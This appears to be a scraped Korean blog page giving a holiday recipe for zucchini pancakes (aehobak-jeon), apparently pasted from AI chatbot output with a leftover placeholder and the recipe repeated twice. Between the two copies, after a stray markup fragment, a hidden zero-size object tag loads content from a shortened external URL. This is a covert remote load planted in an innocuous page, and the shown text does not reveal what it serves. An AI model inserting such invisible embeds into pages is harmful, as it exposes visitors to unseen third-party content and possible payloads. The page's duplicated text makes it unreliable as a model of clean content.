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<div _ngcontent-ng-c1476202065="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:29">식감 좋은 설 명절 애호박전 쉽게 만드는 법!</h2><p data-sourcepos="3:1-3:51"><strong>명절 음식 준비로 바쁘시죠?</strong> 간단하면서도 맛있는 애호박전 레시피를 소개해 드릴게요.</p><h3 data-sourcepos="5:1-5:9">재료 준비</h3><ul data-sourcepos="7:1-12:0">
<li data-sourcepos="7:1-7:8">애호박 1개</li>
<li data-sourcepos="8:1-8:10">부침가루 적당량</li>
<li data-sourcepos="9:1-9:7">계란 2개</li>
<li data-sourcepos="10:1-10:7">소금 약간</li>
<li data-sourcepos="11:1-12:0">식용유</li>
</ul><h3 data-sourcepos="13:1-13:9">만드는 법</h3><ol data-sourcepos="15:1-21:0">
<li data-sourcepos="15:1-15:84"><strong>애호박 손질:</strong> 애호박을 0.5cm 정도 두께로 썰어주세요. 너무 얇으면 익었을 때 부서지기 쉽고, 너무 두꺼우면 속까지 익히기 어렵습니다.</li>
<li data-sourcepos="16:1-16:52"><strong>밑간:</strong> 썰어놓은 애호박에 소금을 살짝 뿌려 10분 정도 절여 수분을 제거해줍니다.</li>
<li data-sourcepos="17:1-17:43"><strong>반죽 만들기:</strong> 볼에 부침가루를 넣고 계란을 풀어 잘 섞어줍니다.</li>
<li data-sourcepos="18:1-18:54"><strong>옷 입히기:</strong> 소금에 절인 애호박의 물기를 제거하고 부침가루 반죽에 골고루 묻혀줍니다.</li>
<li data-sourcepos="19:1-19:90"><strong>굽기:</strong> 달궈진 팬에 식용유를 두르고 부침가루를 입힌 애호박을 올려 노릇노릇하게 부쳐줍니다. 약불에서 천천히 익혀야 속까지 골고루 익고 타지 않습니다.</li>
<li data-sourcepos="20:1-21:0"><strong>마무리:</strong> 기호에 따라 홍고추나 쪽파 등을 올려 장식하면 더욱 먹음직스럽게 즐길 수 있습니다.</li>
</ol><h3 data-sourcepos="22:1-22:17">식감 좋게 만드는 TIP</h3><ul data-sourcepos="24:1-28:0">
<li data-sourcepos="24:1-24:88"><strong>애호박 두께:</strong> 앞서 언급했듯이, 적당한 두께를 유지하는 것이 중요합니다. 너무 얇으면 익었을 때 부서지고, 너무 두꺼우면 속까지 익히기 어렵습니다.</li>
<li data-sourcepos="25:1-25:71"><strong>소금 간:</strong> 소금 간은 애호박의 수분을 빼내고 간을 맞추는 역할을 합니다. 너무 많이 넣으면 짜므로 살짝만 뿌려주세요.</li>
<li data-sourcepos="26:1-26:44"><strong>불 조절:</strong> 약불에서 천천히 익혀야 속까지 골고루 익고 타지 않습니다.</li>
<li data-sourcepos="27:1-28:0"><strong>기름:</strong> 식용유를 충분히 두르고 노릇하게 굽는 것이 중요합니다.</li>
</ul><h3 data-sourcepos="29:1-29:10"> 참고</h3><p data-sourcepos="31:1-31:8">[ 삽입]</p><ul data-sourcepos="33:1-34:0">
<li data-sourcepos="33:1-34:0"><strong>구글 검색:</strong> "애호박전 만들기"를 검색하면 다양한 레시피와 사진을 확인할 수 있습니다.</li>
</ul><p data-sourcepos="35:1-35:74"><strong>꿀팁:</strong> 부침가루 대신 밀가루를 사용해도 맛있습니다. 밀가루를 사용할 때는 계란에 소금 간을 살짝 해주면 더욱 풍미가 좋습니다.</p><p data-sourcepos="37:1-37:30">이 레시피를 참고하여 맛있는 애호박전 만들어 보세요!</p><p data-sourcepos="39:1-39:28"><strong>궁금한 점이 있다면 언제든지 질문해주세요.</strong></p><p data-sourcepos="41:1-41:42"><strong>더 많은 레시피가 필요하시다면, 어떤 종류의 음식을 찾고 계신가요?</strong></p></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/dXsN" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
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<li data-sourcepos="7:1-7:8">애호박 1개</li>
<li data-sourcepos="8:1-8:10">부침가루 적당량</li>
<li data-sourcepos="9:1-9:7">계란 2개</li>
<li data-sourcepos="10:1-10:7">소금 약간</li>
<li data-sourcepos="11:1-12:0">식용유</li>
</ul><h3 data-sourcepos="13:1-13:9">만드는 법</h3><ol data-sourcepos="15:1-21:0">
<li data-sourcepos="15:1-15:84"><strong>애호박 손질:</strong> 애호박을 0.5cm 정도 두께로 썰어주세요. 너무 얇으면 익었을 때 부서지기 쉽고, 너무 두꺼우면 속까지 익히기 어렵습니다.</li>
<li data-sourcepos="16:1-16:52"><strong>밑간:</strong> 썰어놓은 애호박에 소금을 살짝 뿌려 10분 정도 절여 수분을 제거해줍니다.</li>
<li data-sourcepos="17:1-17:43"><strong>반죽 만들기:</strong> 볼에 부침가루를 넣고 계란을 풀어 잘 섞어줍니다.</li>
<li data-sourcepos="18:1-18:54"><strong>옷 입히기:</strong> 소금에 절인 애호박의 물기를 제거하고 부침가루 반죽에 골고루 묻혀줍니다.</li>
<li data-sourcepos="19:1-19:90"><strong>굽기:</strong> 달궈진 팬에 식용유를 두르고 부침가루를 입힌 애호박을 올려 노릇노릇하게 부쳐줍니다. 약불에서 천천히 익혀야 속까지 골고루 익고 타지 않습니다.</li>
<li data-sourcepos="20:1-21:0"><strong>마무리:</strong> 기호에 따라 홍고추나 쪽파 등을 올려 장식하면 더욱 먹음직스럽게 즐길 수 있습니다.</li>
</ol><h3 data-sourcepos="22:1-22:17">식감 좋게 만드는 TIP</h3><ul data-sourcepos="24:1-28:0">
<li data-sourcepos="24:1-24:88"><strong>애호박 두께:</strong> 앞서 언급했듯이, 적당한 두께를 유지하는 것이 중요합니다. 너무 얇으면 익었을 때 부서지고, 너무 두꺼우면 속까지 익히기 어렵습니다.</li>
<li data-sourcepos="25:1-25:71"><strong>소금 간:</strong> 소금 간은 애호박의 수분을 빼내고 간을 맞추는 역할을 합니다. 너무 많이 넣으면 짜므로 살짝만 뿌려주세요.</li>
<li data-sourcepos="26:1-26:44"><strong>불 조절:</strong> 약불에서 천천히 익혀야 속까지 골고루 익고 타지 않습니다.</li>
<li data-sourcepos="27:1-28:0"><strong>기름:</strong> 식용유를 충분히 두르고 노릇하게 굽는 것이 중요합니다.</li>
</ul><h3 data-sourcepos="29:1-29:10"> 참고</h3><p data-sourcepos="31:1-31:8">[ 삽입]</p><ul data-sourcepos="33:1-34:0">
<li data-sourcepos="33:1-34:0"><strong>구글 검색:</strong> "애호박전 만들기"를 검색하면 다양한 레시피와 사진을 확인할 수 있습니다.</li>
</ul><p data-sourcepos="35:1-35:74"><strong>꿀팁:</strong> 부침가루 대신 밀가루를 사용해도 맛있습니다. 밀가루를 사용할 때는 계란에 소금 간을 살짝 해주면 더욱 풍미가 좋습니다.</p><p data-sourcepos="37:1-37:30">이 레시피를 참고하여 맛있는 애호박전 만들어 보세요!</p><p data-sourcepos="39:1-39:28"><strong>궁금한 점이 있다면 언제든지 질문해주세요.</strong></p><p data-sourcepos="41:1-41:42"><strong>더 많은 레시피가 필요하시다면, 어떤 종류의 음식을 찾고 계신가요?</strong></p></div>
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